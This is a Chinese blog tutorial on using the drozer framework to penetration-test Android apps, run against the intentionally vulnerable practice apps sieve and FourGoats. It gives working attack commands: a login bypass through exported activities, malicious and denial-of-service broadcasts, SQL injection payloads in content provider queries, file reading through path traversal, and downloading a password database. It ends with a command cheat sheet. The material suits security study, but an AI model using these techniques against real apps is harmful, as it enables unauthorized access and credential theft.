5.移动渗透测试工具之drozer

可紊 提交于 2020-01-08 02:37:12

本篇博文主要来介绍drozer在移动渗透中的作用

本次实验环境所用工具为:夜神模拟器,drozer-2.3.4,sieve.apk,adb

drozer安装这里不再多嘴,给出链接:https://www.cnblogs.com/JDragons/p/5596258.html

adb作为移动与pc的调试桥,我这里也已经安装完成。

1.安装agent.apk

在模拟器中运行drozer,并打开Embbdded Server

2.开启一个对话

pc上,由于我使用的是夜神模拟器,端口是62001,需要先连接夜神模拟器,并且把drozer的31415端口进行转发,cd到drozer安装目录下,进入drozer控制台:

3.列出功能模块

使用命令:dz > list 列出drozer所有功能模块:

dz> list
app.activity.forintent             Find activities that can handle the given intent
app.activity.info                  Gets information about exported activities.
app.activity.start                 Start an Activity
app.broadcast.info                 Get information about broadcast receivers
app.broadcast.send                 Send broadcast using an intent
app.broadcast.sniff                Register a broadcast receiver that can sniff particular intents
app.package.attacksurface          Get attack surface of package
app.package.backup                 Lists packages that use the backup API (returns true on
                                   FLAG_ALLOW_BACKUP)
app.package.debuggable             Find debuggable packages
app.package.info                   Get information about installed packages
app.package.launchintent           Get launch intent of package
app.package.list                   List Packages
app.package.manifest               Get AndroidManifest.xml of package
app.package.native                 Find Native libraries embedded in the application.
app.package.shareduid              Look for packages with shared UIDs
app.provider.columns               List columns in content provider
app.provider.delete                Delete from a content provider
app.provider.download              Download a file from a content provider that supports files
app.provider.finduri               Find referenced content URIs in a package
app.provider.info                  Get information about exported content providers
app.provider.insert                Insert into a Content Provider
app.provider.query                 Query a content provider
app.provider.read                  Read from a content provider that supports files
app.provider.update                Update a record in a content provider
app.service.info                   Get information about exported services
app.service.send                   Send a Message to a service, and display the reply
app.service.start                  Start Service
app.service.stop                   Stop Service
auxiliary.webcontentresolver       Start a web service interface to content providers.
exploit.jdwp.check                 Open @jdwp-control and see which apps connect
exploit.pilfer.general.apnprovider
                                   Reads APN content provider
exploit.pilfer.general.settingsprovider
                                   Reads Settings content provider
information.datetime               Print Date/Time
information.deviceinfo             Get verbose device information
information.permissions            Get a list of all permissions used by packages on the device
scanner.activity.browsable         Get all BROWSABLE activities that can be invoked from the web
                                   browser
scanner.misc.native                Find native components included in packages
scanner.misc.readablefiles         Find world-readable files in the given folder
scanner.misc.secretcodes           Search for secret codes that can be used from the dialer
scanner.misc.sflagbinaries         Find suid/sgid binaries in the given folder (default is
                                   /system).
scanner.misc.writablefiles         Find world-writable files in the given folder
scanner.provider.finduris          Search for content providers that can be queried from our
                                   context.
scanner.provider.injection         Test content providers for SQL injection vulnerabilities.
scanner.provider.sqltables         Find tables accessible through SQL injection vulnerabilities.
scanner.provider.traversal         Test content providers for basic directory traversal
                                   vulnerabilities.
shell.exec                         Execute a single Linux command.
shell.send                         Send an ASH shell to a remote listener.
shell.start                        Enter into an interactive Linux shell.
tools.file.download                Download a File
tools.file.md5sum                  Get md5 Checksum of file
tools.file.size                    Get size of file
tools.file.upload                  Upload a File
tools.setup.busybox                Install Busybox.
tools.setup.minimalsu              Prepare 'minimal-su' binary installation on the device.

4.检索包信息:

输入命令:run app.package.list -f <app name>  搜索app所使用的包名:

输入命令:run app.package.info -a  <package name>  查看app包的信息:

5.查看app可被攻击点

输入命令:run app.package.attacksurface <package name>

6.利用drozer渗透activity组件

这里检测出来的是四大组件的威胁,先来介绍activity组件:

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。

通过上面的检测发现activity存在问题,用jadx-gui打开sieve.apk,来看AndroidManifest.xml文件:

可以看到在activity组件中,android.exported="true",说明组件可被导出,存在信息泄露的风险

输入命令:run app.activity.info -a <package name> 查看对外的activity组件信息:

输入命令:run app.activity.start --component <package name> <component name> 来绕过登陆页面,直接进入到后台,存在越权:

正常打开app需要输入密码:

运行命令绕过:

7.利用drozer渗透broadcase组件

先来介绍一下broadcast组件:

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

由于sieve.apk不存在此方面漏洞,下面使用fourgoats.apk来测试:

输入命令:run app.broadcast.info -a  <package name> 测试对外的broadcast组件信息:

查看反编译出来的AndroidManifest.xml文件,可以看到receiver的exported未设置,说明存在越权漏洞,可发恶意广播,伪造信息等。

通过图片我们知道<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>

发送恶意广播

(空extars)输入命令:run app.broadcast.send --component <package name> <component name> --action <action> --extra <type> <key> <value>  发送恶意广播:

拒绝服务攻击

输入命令:run app.broadcast.send --action <action> 向广播组件发送不完整intent使用空extras,可以看到应用停止运行:

8.利用drozer渗透service组件

先来介绍一下service组件:

一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。

然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。

另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的

我们继续使用sieve.apk进行实践测试,先来看AndroidManifest.xml文件:

可以看到 android:exported="true" 服务可被导出.

使用命令:run app.service.info -a <package name> 获取对外组件信息:

使用命令:run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj  向某个服务发送信息:

9.利用drozer渗透content provider组件

android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。

先来看AndroidManifest.xml文件里面的provider组件:

由于敏感组件可导出,存在敏感信息泄露。并且没有对Content Query Uri进行有效判断或者过滤,可能存在provider文件目录遍历

使用命令:run app.provider.info -a <package name> 查看对外的provider组件信息:

信息泄露:

使用命令:run scanner.provider.finduris -a <package name> 扫描并获取Content provider信息,并列出可访问内容URL的列表和路径:

使用命令:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/  查询或修改数据库中的数据,发现存在数据泄露问题,访问url可看到一些敏感信息:

SQL注入漏洞

使用以下命令测试发现爆错,说明存在SQL注入漏洞:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"

获取数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

列出所有表信息:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取表信息:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

同时也可以使用扫描功能对该app注入点位置进行扫描:
run scanner.provider.injection -a com.mwr.example.sieve

列出该app的表信息:

run scanner.provider.sqltables -a com.mwr.example.sieve

底层文件系统的读取与写入(有可能被阻止)

文件读取:

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

文件下载:

下载数据库文件到本地

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

目录遍历漏洞:

run scanner.provider.traversal -a com.mwr.example.sieve

 

对常用命令进行总结:

1.连接drozer:
drozer.bat console connect

2.列出详细APP信息:
run app.package.info -a com.xxx.xxxx

3.查看APP的配置信息
run app.package.manifest com.xxx.xxxx

3.分析是否存在攻击攻击点
run app.package.attacksurface com.xxx.xxxx

4.查看暴露的provider权限
run app.provider.info -a com.xxx.xxxx

5.获取Activity信息
命令 run app.activity.info -a
示例 run app.activity.info -a com.xxx.xxxx

6.检测SQL注入
命令 run scanner.provider.injection -a
示例 run scanner.provider.injection -a com.xxx.xxxx

7.检测目录遍历
命令 run scanner.provider.traversal -a
示例 run scanner.provider.traversal -a com.xxx.xxxx

8.获取所有可访问的Uri
命令 run scanner.provider.finduris -a
示例 run scanner.provider.finduris -a com.xxx.xxxx

9.SQL注入
命令 run app.provider.query [--projection] [--selection]
示例 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

列出所有表 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取单表(如Key)的数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

10.读取文件系统下的文件
示例 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

11.下载数据库文件到本地
示例 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

> list  //列出目前可用的模块,也可以使用ls
> help app.activity.forintent       //查看指定模块的帮助信息
> run app.package.list      //列出android设备中安装的app
> run app.package.info -a com.android.browser       //查看指定app的基本信息
> run app.activity.info -a com.android.browser      //列出app中的activity组件
> run app.activity.start --action android.intent.action.VIEW --data-uri  http://www.google.com  //开启一个activity,例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo       //查找可以读取的Content Provider
> run  app.provider.query content://settings/secure --selection "name='adb_enabled'"    //读取指定Content Provider内容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo     //列出指定文件路径里全局可写/可读的文件
> run shell.start       //shell操作
> run tools.setup.busybox       //安装busybox
> list auxiliary        //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver     //webcontentresolver帮助
> run auxiliary.webcontentresolver      //执行在浏览器中以http://localhost:8080即可访问
以sieve示例
> run app.package.list -f sieve         //查找sieve应用程序
> run app.package.info -a com.mwr.example.sieve         //显示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve   //确定攻击面
> run app.activity.info -a com.mwr.example.sieve         //获取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //启动pwlist
> run app.provider.info -a com.mwr.example.sieve        //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve        //扫描所有能访问地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical  //查看DBContentProvider/Passwords这条可执行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"   //检测注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //查看读权限数据
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
> run scanner.provider.injection -a com.mwr.example.sieve       //扫描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve         //查看服务

 

参考链接:

这里只是抛砖引玉,更多drozer使用方法可参阅官方指南(英文): https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

https://www.jianshu.com/p/dfa92bab3a55

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!